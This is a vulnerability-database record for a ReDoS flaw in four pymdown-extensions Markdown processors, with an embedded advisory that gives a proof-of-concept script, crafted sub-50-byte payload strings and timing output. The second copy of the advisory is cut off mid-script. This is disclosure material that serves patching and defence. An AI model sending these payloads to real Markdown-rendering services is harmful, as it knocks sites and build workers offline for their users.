{"id":"CVE-2026-67422","aliases":["DEBIAN-CVE-2026-67422","EUVD-2026-54256","GHSA-gm37-52c6-37mw","OESA-2026-4182","OESA-2026-4183","OESA-2026-4184","PYSEC-2026-3654","ROOT-APP-PYPI-CVE-2026-67422","UBUNTU-CVE-2026-67422"],"status":"published","title":"pymdown-extensions: Exponential-backtracking ReDoS in caret, tilde, betterem, and magiclink inline processors","description":"pymdown-extensions is a collection of extensions for the Python Markdown library. In versions up to and including 11.0, four inline processors (caret, tilde, betterem, and magiclink) use regular expressions whose content groups can partition a run of delimiter characters in exponentially many ways, causing catastrophic backtracking. As a result, a single untrusted Markdown line under 50 bytes rendered with markdown.markdown() in each extension's default configuration drives the rendering thread into unbounded CPU usage that grows exponentially with input length, enabling an unauthenticated remote attacker who can submit Markdown to cause denial of service. The exposure is concrete for web applications that render user-supplied Markdown (comments, wikis, issue bodies, live preview), including any app using pymdownx.extra which bundles the vulnerable betterem default, as well as hosted docs/CI systems that build untrusted Markdown. The issue has been fixed in version 11.0.1.","severity":{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-10","score":0.00717,"percentile":0.54144,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-1333"],"published":"2026-08-06T20:26:31Z","modified":"2026-10-28T02:30:50Z","fixes":[{"ecosystem":"PyPI","package":"pymdown-extensions","fixed_in":["11.0.1"],"sources":["ghsa","osv"]},{"ecosystem":"Debian:14","package":"pymdown-extensions","fixed_in":["11.0.1-1"],"sources":["osv"]},{"ecosystem":"Root:PyPI","package":"pymdown-extensions","fixed_in":["10.21.2+aikido.2","11.0+aikido.2"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"PyPI","package":"pymdown-extensions","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"11.0.0"},{"fixed":"11.0.1"}]}]},{"source":"osv","ecosystem":"Debian:12","package":"pymdown-extensions","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["10.11.2-1","10.13-1","10.13-2","10.13-3","10.13-4","10.19.1-1","10.19.1-3","10.8.1-1","10.9-1","11.0.1-1","9.5-2","9.5-3","9.5-4","9.5-5"]},{"source":"osv","ecosystem":"Debian:13","package":"pymdown-extensions","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["10.13-1","10.13-1+deb13u1","10.13-2","10.13-3","10.13-4","10.19.1-1","10.19.1-3","11.0.1-1"]},{"source":"osv","ecosystem":"Debian:14","package":"pymdown-extensions","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"11.0.1-1"}]}],"versions":["10.13-1","10.13-2","10.13-3","10.13-4","10.19.1-1","10.19.1-3"]},{"source":"osv","ecosystem":"PyPI","package":"pymdown-extensions","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"11.0.1"}]}],"versions":["1.0.0","1.0.1","1.1","1.2","1.3","1.4","1.5","1.6","1.6.1","1.7","1.8","10.0","10.0.1","10.1","10.10","10.10.1","10.10.2","10.11","10.11.1","10.11.2","10.12","10.13","10.14","10.14.1","10.14.2","10.14.3","10.15","10.16","10.16.1","10.17","10.17.1","10.17.2","10.18","10.19","10.19.1","10.2","10.2.1","10.20","10.20.1","10.21","10.21.2","10.21.3","10.3","10.3.1","10.4","10.5","10.6","10.7","10.7.1","10.8","10.8.1","10.9","11.0","2.0","3.0","3.1","3.2","3.2.1","3.3","3.4","3.5","4.0","4.1","4.10","4.10.1","4.10.2","4.11","4.12","4.2","4.3","4.4","4.5","4.5.1","4.6","4.7","4.8","4.9","4.9.1","4.9.2","5.0","6.0","6.1","6.2","6.2.1","6.3","7.0","7.0b1","7.0b2","7.0rc1","7.0rc2","7.1","8.0","8.0.1","8.1","8.1.1","8.2","9.0","9.0.dev0","9.1","9.10","9.10a1","9.10a2","9.10a3","9.10b1","9.10b2","9.10b3","9.10b4","9.10b5","9.11","9.2","9.3","9.4","9.5","9.6","9.7","9.8","9.9","9.9.1","9.9.2"]},{"source":"osv","ecosystem":"openEuler:24.03-LTS-SP4","package":"python-pymdown-extensions","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"10.7-3.oe2403sp4"}]}],"bundled":3},{"source":"osv","ecosystem":"openEuler:24.03-LTS-SP1","package":"python-pymdown-extensions","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"10.7-3.oe2403sp1"}]}],"bundled":3},{"source":"osv","ecosystem":"openEuler:24.03-LTS-SP3","package":"python-pymdown-extensions","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"10.7-3.oe2403sp3"}]}],"bundled":3},{"source":"osv","ecosystem":"PyPI","package":"pymdown-extensions","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"11.0.1"}]}],"versions":["1.0.0","1.0.1","1.1","1.2","1.3","1.4","1.5","1.6","1.6.1","1.7","1.8","10.0","10.0.1","10.1","10.10","10.10.1","10.10.2","10.11","10.11.1","10.11.2","10.12","10.13","10.14","10.14.1","10.14.2","10.14.3","10.15","10.16","10.16.1","10.17","10.17.1","10.17.2","10.18","10.19","10.19.1","10.2","10.2.1","10.20","10.20.1","10.21","10.21.2","10.21.3","10.3","10.3.1","10.4","10.5","10.6","10.7","10.7.1","10.8","10.8.1","10.9","11.0","2.0","3.0","3.1","3.2","3.2.1","3.3","3.4","3.5","4.0","4.1","4.10","4.10.1","4.10.2","4.11","4.12","4.2","4.3","4.4","4.5","4.5.1","4.6","4.7","4.8","4.9","4.9.1","4.9.2","5.0","6.0","6.1","6.2","6.2.1","6.3","7.0","7.0b1","7.0b2","7.0rc1","7.0rc2","7.1","8.0","8.0.1","8.1","8.1.1","8.2","9.0","9.0.dev0","9.1","9.10","9.10a1","9.10a2","9.10a3","9.10b1","9.10b2","9.10b3","9.10b4","9.10b5","9.11","9.2","9.3","9.4","9.5","9.6","9.7","9.8","9.9","9.9.1","9.9.2"]},{"source":"osv","ecosystem":"Root:PyPI","package":"pymdown-extensions","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"10.21.2+aikido.2"},{"fixed":"11.0+aikido.2"}]}]},{"source":"osv","ecosystem":"Ubuntu:24.04:LTS","package":"pymdown-extensions","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["9.5-2","9.5-4","9.5-5"]},{"source":"osv","ecosystem":"Ubuntu:26.04:LTS","package":"pymdown-extensions","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["10.13-3","10.13-4","10.19.1-3"]}],"products":[{"vendor":"facelessuser","product":"pymdown-extensions"}],"references":[{"url":"https://github.com/facelessuser/pymdown-extensions/security/advisories/GHSA-gm37-52c6-37mw","tags":["x_refsource_CONFIRM","exploit","advisory","web","report"]},{"url":"https://github.com/facelessuser/pymdown-extensions/commit/c68498598d7b13011bb4571350b6e3612a4ce44b","tags":["x_refsource_MISC","fix","web","report"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-67422","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-gm37-52c6-37mw","tags":["advisory"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/67xxx/CVE-2026-67422.json","tags":["advisory"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2026-67422","tags":["advisory"]},{"url":"https://github.com/facelessuser/pymdown-extensions","tags":["package"]},{"url":"https://www.openeuler.org/zh/security/security-bulletins/detail/?id=openEuler-SA-2026-4182","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-46338","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-61632","tags":["advisory"]},{"url":"https://www.openeuler.org/zh/security/security-bulletins/detail/?id=openEuler-SA-2026-4183","tags":["advisory"]},{"url":"https://www.openeuler.org/zh/security/security-bulletins/detail/?id=openEuler-SA-2026-4184","tags":["advisory"]},{"url":"https://pypi.org/project/pymdown-extensions","tags":["package"]},{"url":"https://ubuntu.com/security/CVE-2026-67422","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-67422","tags":["report"]}],"sources":{"cve":[{"id":"CVE-2026-67422","title":"pymdown-extensions: Exponential-backtracking ReDoS in caret, tilde, betterem, and magiclink inline processors","description":"pymdown-extensions is a collection of extensions for the Python Markdown library. In versions up to and including 11.0, four inline processors (caret, tilde, betterem, and magiclink) use regular expressions whose content groups can partition a run of delimiter characters in exponentially many ways, causing catastrophic backtracking. As a result, a single untrusted Markdown line under 50 bytes rendered with markdown.markdown() in each extension's default configuration drives the rendering thread into unbounded CPU usage that grows exponentially with input length, enabling an unauthenticated remote attacker who can submit Markdown to cause denial of service. The exposure is concrete for web applications that render user-supplied Markdown (comments, wikis, issue bodies, live preview), including any app using pymdownx.extra which bundles the vulnerable betterem default, as well as hosted docs/CI systems that build untrusted Markdown. The issue has been fixed in version 11.0.1.","status":"published","published":"2026-08-06T20:26:31.93Z","modified":"2026-08-07T17:00:29.808Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"cna"}],"cwes":["CWE-1333"],"updated_at":"2026-11-02T14:20:06.562031Z"}],"euvd":[{"id":"EUVD-2026-54256","description":"pymdown-extensions is a collection of extensions for the Python Markdown library. In versions up to and including 11.0, four inline processors (caret, tilde, betterem, and magiclink) use regular expressions whose content groups can partition a run of delimiter characters in exponentially many ways, causing catastrophic backtracking. As a result, a single untrusted Markdown line under 50 bytes rendered with markdown.markdown() in each extension's default configuration drives the rendering thread into unbounded CPU usage that grows exponentially with input length, enabling an unauthenticated remote attacker who can submit Markdown to cause denial of service. The exposure is concrete for web applications that render user-supplied Markdown (comments, wikis, issue bodies, live preview), including any app using pymdownx.extra which bundles the vulnerable betterem default, as well as hosted docs/CI systems that build untrusted Markdown. The issue has been fixed in version 11.0.1.","status":"published","published":"2026-08-06T20:26:31Z","modified":"2026-08-07T17:00:29Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T18:02:06.930016Z"}],"ghsa":[{"id":"GHSA-gm37-52c6-37mw","title":"pymdown-extensions: exponential-backtracking ReDoS in caret, tilde, betterem, and magiclink inline processors","description":"### Summary\n\nFour inline processors in pymdown-extensions contain regular expressions with\nexponential backtracking. A single untrusted Markdown line under\n50 bytes drives `markdown.markdown()` into unbounded CPU on the rendering thread\n(seconds at ~45 bytes, growing exponentially with each added character). All four\nfire in the extension's **default configuration**\nand are reachable through the documented public API. The `caret`/`tilde`/\n`betterem` blow-up was introduced by the emphasis-pattern rewrite in PR #2547\n(first released in **10.13**, Dec 2024) — earlier releases used a linear\n`(.+?)` / `([^\\s]+?)` content group — and is present through **11.0** (latest);\n`magiclink`'s host pattern is long-standing and affects effectively all releases.\nLikely **CWE-1333 (Inefficient Regular Expression Complexity)**.\n\nThis is a distinct issue from CVE-2025-68142 (ReDoS in `pymdownx.blocks.caption`,\n`RE_FIG_NUM`, fixed in 10.16.1): different extensions, different regexes, and a\ndifferent root cause (delimiter-run partition ambiguity rather than a `.`/`\\.`\ntypo).\n\n### Details\n\nFour regexes share, or closely mirror, a vulnerable shape — an inner group that\ncan partition a run of the delimiter character into `{2,}`-sized pieces in\nexponentially many ways, wrapped in a lazy `+?` that must fail before the engine\ncan give up:\n\n| Extension | Regex | Location (`11.0`) |\n|---|---|---|\n| `pymdownx.caret` (superscript `^…^`) | `SUP2` | `pymdownx/caret.py:56` |\n| `pymdownx.tilde` (subscript `~…~`) | `SUB2` | `pymdownx/tilde.py:55` |\n| `pymdownx.betterem` (underscore `_…_`) | `SMART_UNDER_EM2` (default) | `pymdownx/betterem.py:93` |\n| `pymdownx.magiclink` (bare-URL autolink) | `RE_LINK` | `pymdownx/magiclink.py:56` (host at `:59`) |\n\n`pymdownx/caret.py:56` (`pymdown-extensions 11.0`):\n\n```python\nSUP2 = r'(?\u003c!\\^)(\\^)(?![\\^\\s])((?:[^\\^\\s]|\\^{2,})+?)(?\u003c![\\^\\s])(\\^)(?!\\^)'\n```\n\nThe content group `(?:[^\\^\\s]|\\^{2,})+?` matches a run of carets only via the\n`\\^{2,}` branch. A run of *k* carets can be split into ≥2-length pieces in\nexponentially many combinations; when no caret can serve as a valid closing\ndelimiter (the trailing `(?\u003c![\\^\\s])(\\^)` cannot be satisfied), the engine\nexplores every partition before failing. `SUB2` (tilde) and `SMART_UNDER_EM2`\n(betterem) are the same construct for `~` and `_`. In `betterem` the default\n`smart_enable='underscore'` routes underscores to `SmartUnderscoreProcessor` →\n`SMART_UNDER_EM2` (`betterem.py:93`), which is the default-reachable,\nAPI-exploitable pattern; the non-smart `UNDER_EM2` (`:69`, used only when\n`smart_enable` is `asterisk`/`disable`) shares the shape but did not reproduce\nthrough the public `markdown.markdown()` pipeline on the tested payload, so a fix\nand regression test should target `SMART_UNDER_EM2`.\n\n`pymdownx/magiclink.py:59` has the analogous ambiguity in the host portion, where\noverlapping character classes let a run of dots be grouped exponentially:\n\n```python\n(?:ht|f)tps?://[^_\\W][-\\w]*(?:\\.[-\\w.]+)*    # host: '\\.' and '[-\\w.]' inside (?:...)* both match '.'\n```\n\n`SUP2`/`SUB2`/`SMART_UNDER_EM2` are applied at each delimiter occurrence via the\ndefault `PatternSequenceProcessor` subclasses (`pymdownx/util.py`); `RE_LINK` is\napplied by `MagiclinkPattern` (registered unconditionally at priority 85). In all\nfour cases, rendering `markdown.markdown(src, extensions=[ext])` on untrusted\n`src` in default configuration is sufficient to reach the regex.\n\n### PoC\n\nSingle self-contained script; runs against the pinned release in an ephemeral\nenv. Non-destructive — the input is ordinary Markdown text; the impact is CPU/time\n(a per-render alarm caps each attempt so the script terminates).\n\n```python\nimport signal\nimport time\nfrom importlib.metadata import version\n\nimport markdown\n\nprint(f\"# pymdown-extensions {version('pymdown-extensions')} / markdown {version('markdown')}\")\n\nCAP = 5.0  # a single render exceeding this is treated as a hang\n\n\nclass Timeout(Exception):\n    pass\n\n\ndef render(ext, text):\n    signal.signal(signal.SIGALRM, lambda *_: (_ for _ in ()).throw(Timeout()))\n    signal.setitimer(signal.ITIMER_REAL, CAP)\n    t = time.perf_counter()\n    try:\n        markdown.markdown(text, extensions=[ext])\n        return time.perf_counter() - t\n    except Timeout:\n        return None\n    finally:\n        signal.setitimer(signal.ITIMER_REAL, 0)\n\n\n# ext -\u003e (malicious builder, benign builder [valid \u0026 closed], ramp, hang count)\nCASES = {\n    \"pymdownx.caret\":     (lambda n: \"^a\" + \"^\" * n + \"b\",       lambda n: \"^\" + \"a\" * n + \"^\",           [24, 30, 36], 44),\n    \"pymdownx.tilde\":     (lambda n: \"~a\" + \"~\" * n + \"b\",       lambda n: \"~\" + \"a\" * n + \"~\",           [24, 30, 36], 44),\n    \"pymdownx.betterem\":  (lambda n: \"_a\" + \"_\" * n + \"b\",       lambda n: \"_\" + \"a\" * n + \"_\",           [24, 30, 36], 44),\n    \"pymdownx.magiclink\": (lambda n: \"http://a\" + \".\" * n + \" \", lambda n: \"http://\" + \"a\" * n + \".com \", [28, 32, 36], 40),\n}\n\nrepro = []\nfor ext, (evil, benign, ramp, hang) in CASES.items():\n    base_txt = benign(hang)  # valid, closed run: same regex machinery, but linear\n    base = render(ext, base_txt)\n    print(f\"\\n[{ext}]  benign baseline (len {len(base_txt)}, valid+closed): {base * 1e3:.3f} ms\")\n    prev = None\n    for n in ramp:\n        txt = evil(n)\n        dt = render(ext, txt)\n        ratio = f\"  (x{dt / prev:.1f})\" if (prev and dt) else \"\"\n        shown = f\"{dt:8.3f} s\" if dt is not None else f\"\u003e {CAP:.0f} s (HANG)\"\n        print(f\"          malicious len {len(txt):3d}: {shown}{ratio}\")\n        prev = dt\n    txt = evil(hang)\n    dt = render(ext, txt)\n    hung = dt is None\n    print(f\"          malicious len {len(txt):3d}: \"\n          f\"{'\u003e %.0f s (HANG)' % CAP if hung else '%.3f s' % dt}\")\n    ok = base \u003c 0.05 and (hung or dt \u003e 1.0)\n    repro.append(ok)\n    print(f\"          =\u003e {'REPRODUCED' if ok else 'not reproduced'}: a {len(txt)}-byte \"\n          f\"malicious line stalls the renderer; a valid {len(base_txt)}-byte line is instant.\")\n\nassert all(repro), \"not reproduced\"\nprint(\"\\nVERDICT: exponential ReDoS reproduced in all four extensions via the \"\n      \"public markdown.markdown() API, default config (each \u003c 50-byte input).\")\n```\n\nRun:\n\n```bash\nuv run --with pymdown-extensions==11.0 --with markdown==3.10.2 python poc.py\n```\n\nThe bug is in pymdown-extensions' own regexes run by the stdlib `re` engine, so it\nis independent of the Markdown library version (`markdown` pinned only for\nbyte-exact output). Observed output:\n\n```\n# pymdown-extensions 11.0 / markdown 3.10.2\n\n[pymdownx.caret]  benign baseline (len 46, valid+closed): 11.768 ms\n          malicious len  27:    0.003 s\n          malicious len  33:    0.054 s  (x16.6)\n          malicious len  39:    0.946 s  (x17.6)\n          malicious len  47: \u003e 5 s (HANG)\n          =\u003e REPRODUCED: a 47-byte malicious line stalls the renderer; a valid 46-byte line is instant.\n\n[pymdownx.tilde]  benign baseline (len 46, valid+closed): 5.364 ms\n          malicious len  27:    0.003 s\n          malicious len  33:    0.053 s  (x17.1)\n          malicious len  39:    0.962 s  (x18.2)\n          malicious len  47: \u003e 5 s (HANG)\n          =\u003e REPRODUCED: a 47-byte malicious line stalls the renderer; a valid 46-byte line is instant.\n\n[pymdownx.betterem]  benign baseline (len 46, valid+closed): 3.167 ms\n          malicious len  27:    0.003 s\n          malicious len  33:    0.052 s  (x17.1)\n          malicious len  39:    0.948 s  (x18.1)\n          malicious len  47: \u003e 5 s (HANG)\n          =\u003e REPRODUCED: a 47-byte malicious line stalls the renderer; a valid 46-byte line is instant.\n\n[pymdownx.magiclink]  benign baseline (len 52, valid+closed): 4.935 ms\n          malicious len  37:    0.033 s\n          malicious len  41:    0.210 s  (x6.4)\n          malicious len  45:    1.405 s  (x6.7)\n          malicious len  49: \u003e 5 s (HANG)\n          =\u003e REPRODUCED: a 49-byte malicious line stalls the renderer; a valid 52-byte line is instant.\n\nVERDICT: exponential ReDoS reproduced in all four extensions via the public markdown.markdown() API, default config (each \u003c 50-byte input).\n```\n\nThe per-step ratio stays roughly constant as the run grows (a fixed multiplicative\nfactor per fixed-size increment) — the signature of exponential, not polynomial,\nbacktracking. A valid, closed delimiter run of the same length exercises the same\nregex yet renders in well under a millisecond, isolating the cost to the *unclosed*\ncrafted run. Extending it a few more characters pushes the render time into minutes\nand beyond.\n\n### Impact\n\nDenial of service: a sub-50-byte line pins the rendering thread at 100% CPU, with\nno memory pressure to trip an OOM killer. Most Material/MkDocs usage renders\ntrusted author content at build time, but the untrusted-input exposure is concrete\nin two settings:\n\n- General Python web apps that render user-supplied Markdown (comments, wikis,\n  issue/ticket bodies, chat, live preview) — notably any app using\n  `pymdownx.extra`, which bundles `betterem` with the vulnerable default\n  `smart_enable='underscore'`, or that reuses a Material-style extension block in\n  a runtime renderer.\n- Hosted docs/CI systems that build untrusted, user-contributed Markdown, where a\n  single crafted line hangs the shared build worker.\n\n- Attacker: unauthenticated, remote (anyone who can submit Markdown).\n- Configuration: **default** for each extension.\n- Proposed **CWE-1333**. Proposed CVSS 3.1 (as proposed — the maintainer makes\n  the final call): `AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H` (7.5, High).\n\n### Suggestion\n\nThe vulnerable content groups need to be rewritten so a delimiter run has exactly\none parse, removing the `{2,}` partition ambiguity that lets the engine\nre-segment a run on backtracking. For the emphasis patterns, restructuring the\ncontent so a delimiter run is consumed in a single, non-re-partitionable way\n(rather than by a `{2,}` branch inside a `+?` group) removes the blow-up; for\n`RE_LINK`, disambiguate the host so `.` is matched in exactly one place (a single\nlabelled-host pattern such as `(?:[-\\w]+)(?:\\.[-\\w]+)*`) rather than by\noverlapping classes. Possessive quantifiers / atomic groups are the most direct\ntool but require Python 3.11+; since the project supports Python 3.10, a\nstructural rewrite is the portable option.\n\nA regression fixture per extension (a short delimiter run with no valid closer,\nasserted to render under a small time budget) would guard against reintroduction.\n\n### References\n\n- Affected source (`pymdown-extensions 11.0`): `pymdownx/caret.py:56` (`SUP2`),\n  `pymdownx/tilde.py:55` (`SUB2`), `pymdownx/betterem.py:93` (`SMART_UNDER_EM2`,\n  default; `:69` `UNDER_EM2` shares the shape), `pymdownx/magiclink.py:56`\n  (`RE_LINK`, host subexpression at `:59`).\n- Novelty: same class as CVE-2025-68142 (`pymdownx.blocks.caption` `RE_FIG_NUM`,\n  fixed 10.16.1) but distinct extensions, regexes, and root cause. The\n  `caret`/`tilde`/`betterem` content groups gained the vulnerable `{2,}`\n  alternation in PR #2547 (v10.13); earlier releases used a linear\n  `(.+?)` / `([^\\s]+?)` group. `magiclink`'s host pattern is long-standing. None\n  of the four has been touched by a prior security fix; all are present in the\n  latest release (11.0).","status":"published","published":"2026-08-07T18:26:07Z","modified":"2026-08-07T18:26:08Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-1333"],"updated_at":"2026-11-02T14:40:58.888637Z"}],"nvd":[{"id":"CVE-2026-67422","description":"pymdown-extensions is a collection of extensions for the Python Markdown library. In versions up to and including 11.0, four inline processors (caret, tilde, betterem, and magiclink) use regular expressions whose content groups can partition a run of delimiter characters in exponentially many ways, causing catastrophic backtracking. As a result, a single untrusted Markdown line under 50 bytes rendered with markdown.markdown() in each extension's default configuration drives the rendering thread into unbounded CPU usage that grows exponentially with input length, enabling an unauthenticated remote attacker who can submit Markdown to cause denial of service. The exposure is concrete for web applications that render user-supplied Markdown (comments, wikis, issue bodies, live preview), including any app using pymdownx.extra which bundles the vulnerable betterem default, as well as hosted docs/CI systems that build untrusted Markdown. The issue has been fixed in version 11.0.1.","status":"published","published":"2026-08-06T22:18:21.6Z","modified":"2026-10-24T16:10:00.153Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"secondary"}],"cwes":["CWE-1333"],"updated_at":"2026-11-02T14:12:35.386166Z"}],"osv":[{"id":"CVE-2026-67422","title":"pymdown-extensions: Exponential-backtracking ReDoS in caret, tilde, betterem, and magiclink inline processors","description":"pymdown-extensions is a collection of extensions for the Python Markdown library. In versions up to and including 11.0, four inline processors (caret, tilde, betterem, and magiclink) use regular expressions whose content groups can partition a run of delimiter characters in exponentially many ways, causing catastrophic backtracking. As a result, a single untrusted Markdown line under 50 bytes rendered with markdown.markdown() in each extension's default configuration drives the rendering thread into unbounded CPU usage that grows exponentially with input length, enabling an unauthenticated remote attacker who can submit Markdown to cause denial of service. The exposure is concrete for web applications that render user-supplied Markdown (comments, wikis, issue bodies, live preview), including any app using pymdownx.extra which bundles the vulnerable betterem default, as well as hosted docs/CI systems that build untrusted Markdown. The issue has been fixed in version 11.0.1.","status":"published","published":"2026-08-06T20:26:31.93Z","modified":"2026-10-28T02:30:50.538275587Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-1333"],"updated_at":"2026-11-02T15:45:14.46177Z"},{"id":"DEBIAN-CVE-2026-67422","description":"pymdown-extensions is a collection of extensions for the Python Markdown library. In versions up to and including 11.0, four inline processors (caret, tilde, betterem, and magiclink) use regular expressions whose content groups can partition a run of delimiter characters in exponentially many ways, causing catastrophic backtracking. As a result, a single untrusted Markdown line under 50 bytes rendered with markdown.markdown() in each extension's default configuration drives the rendering thread into unbounded CPU usage that grows exponentially with input length, enabling an unauthenticated remote attacker who can submit Markdown to cause denial of service. The exposure is concrete for web applications that render user-supplied Markdown (comments, wikis, issue bodies, live preview), including any app using pymdownx.extra which bundles the vulnerable betterem default, as well as hosted docs/CI systems that build untrusted Markdown. The issue has been fixed in version 11.0.1.","status":"published","published":"2026-08-06T22:18:21.6Z","modified":"2026-10-25T09:47:29.606465984Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T15:46:01.68444Z"},{"id":"GHSA-gm37-52c6-37mw","title":"pymdown-extensions: exponential-backtracking ReDoS in caret, tilde, betterem, and magiclink inline processors","description":"### Summary\n\nFour inline processors in pymdown-extensions contain regular expressions with\nexponential backtracking. A single untrusted Markdown line under\n50 bytes drives `markdown.markdown()` into unbounded CPU on the rendering thread\n(seconds at ~45 bytes, growing exponentially with each added character). All four\nfire in the extension's **default configuration**\nand are reachable through the documented public API. The `caret`/`tilde`/\n`betterem` blow-up was introduced by the emphasis-pattern rewrite in PR #2547\n(first released in **10.13**, Dec 2024) — earlier releases used a linear\n`(.+?)` / `([^\\s]+?)` content group — and is present through **11.0** (latest);\n`magiclink`'s host pattern is long-standing and affects effectively all releases.\nLikely **CWE-1333 (Inefficient Regular Expression Complexity)**.\n\nThis is a distinct issue from CVE-2025-68142 (ReDoS in `pymdownx.blocks.caption`,\n`RE_FIG_NUM`, fixed in 10.16.1): different extensions, different regexes, and a\ndifferent root cause (delimiter-run partition ambiguity rather than a `.`/`\\.`\ntypo).\n\n### Details\n\nFour regexes share, or closely mirror, a vulnerable shape — an inner group that\ncan partition a run of the delimiter character into `{2,}`-sized pieces in\nexponentially many ways, wrapped in a lazy `+?` that must fail before the engine\ncan give up:\n\n| Extension | Regex | Location (`11.0`) |\n|---|---|---|\n| `pymdownx.caret` (superscript `^…^`) | `SUP2` | `pymdownx/caret.py:56` |\n| `pymdownx.tilde` (subscript `~…~`) | `SUB2` | `pymdownx/tilde.py:55` |\n| `pymdownx.betterem` (underscore `_…_`) | `SMART_UNDER_EM2` (default) | `pymdownx/betterem.py:93` |\n| `pymdownx.magiclink` (bare-URL autolink) | `RE_LINK` | `pymdownx/magiclink.py:56` (host at `:59`) |\n\n`pymdownx/caret.py:56` (`pymdown-extensions 11.0`):\n\n```python\nSUP2 = r'(?\u003c!\\^)(\\^)(?![\\^\\s])((?:[^\\^\\s]|\\^{2,})+?)(?\u003c![\\^\\s])(\\^)(?!\\^)'\n```\n\nThe content group `(?:[^\\^\\s]|\\^{2,})+?` matches a run of carets only via the\n`\\^{2,}` branch. A run of *k* carets can be split into ≥2-length pieces in\nexponentially many combinations; when no caret can serve as a valid closing\ndelimiter (the trailing `(?\u003c![\\^\\s])(\\^)` cannot be satisfied), the engine\nexplores every partition before failing. `SUB2` (tilde) and `SMART_UNDER_EM2`\n(betterem) are the same construct for `~` and `_`. In `betterem` the default\n`smart_enable='underscore'` routes underscores to `SmartUnderscoreProcessor` →\n`SMART_UNDER_EM2` (`betterem.py:93`), which is the default-reachable,\nAPI-exploitable pattern; the non-smart `UNDER_EM2` (`:69`, used only when\n`smart_enable` is `asterisk`/`disable`) shares the shape but did not reproduce\nthrough the public `markdown.markdown()` pipeline on the tested payload, so a fix\nand regression test should target `SMART_UNDER_EM2`.\n\n`pymdownx/magiclink.py:59` has the analogous ambiguity in the host portion, where\noverlapping character classes let a run of dots be grouped exponentially:\n\n```python\n(?:ht|f)tps?://[^_\\W][-\\w]*(?:\\.[-\\w.]+)*    # host: '\\.' and '[-\\w.]' inside (?:...)* both match '.'\n```\n\n`SUP2`/`SUB2`/`SMART_UNDER_EM2` are applied at each delimiter occurrence via the\ndefault `PatternSequenceProcessor` subclasses (`pymdownx/util.py`); `RE_LINK` is\napplied by `MagiclinkPattern` (registered unconditionally at priority 85). In all\nfour cases, rendering `markdown.markdown(src, extensions=[ext])` on untrusted\n`src` in default configuration is sufficient to reach the regex.\n\n### PoC\n\nSingle self-contained script; runs against the pinned release in an ephemeral\nenv. Non-destructive — the input is ordinary Markdown text; the impact is CPU/time\n(a per-render alarm caps each attempt so the script terminates).\n\n```python\nimport signal\nimport time\nfrom importlib.metadata import version\n\nimport markdown\n\nprint(f\"# pymdown-extensions {version('pymdown-extensions')} / markdown {version('markdown')}\")\n\nCAP = 5.0  # a single render exceeding this is treated as a hang\n\n\nclass Timeout(Exception):\n    pass\n\n\ndef render(ext, text):\n    signal.signal(signal.SIGALRM, lambda *_: (_ for _ in ()).throw(Timeout()))\n    signal.setitimer(signal.ITIMER_REAL, CAP)\n    t = time.perf_counter()\n    try:\n        markdown.markdown(text, extensions=[ext])\n        return time.perf_counter() - t\n    except Timeout:\n        return None\n    finally:\n        signal.setitimer(signal.ITIMER_REAL, 0)\n\n\n# ext -\u003e (malicious builder, benign builder [valid \u0026 closed], ramp, hang count)\nCASES = {\n    \"pymdownx.caret\":     (lambda n: \"^a\" + \"^\" * n + \"b\",       lambda n: \"^\" + \"a\" * n + \"^\",           [24, 30, 36], 44),\n    \"pymdownx.tilde\":     (lambda n: \"~a\" + \"~\" * n + \"b\",       lambda n: \"~\" + \"a\" * n + \"~\",           [24, 30, 36], 44),\n    \"pymdownx.betterem\":  (lambda n: \"_a\" + \"_\" * n + \"b\",       lambda n: \"_\" + \"a\" * n + \"_\",           [24, 30, 36], 44),\n    \"pymdownx.magiclink\": (lambda n: \"http://a\" + \".\" * n + \" \", lambda n: \"http://\" + \"a\" * n + \".com \", [28, 32, 36], 40),\n}\n\nrepro = []\nfor ext, (evil, benign, 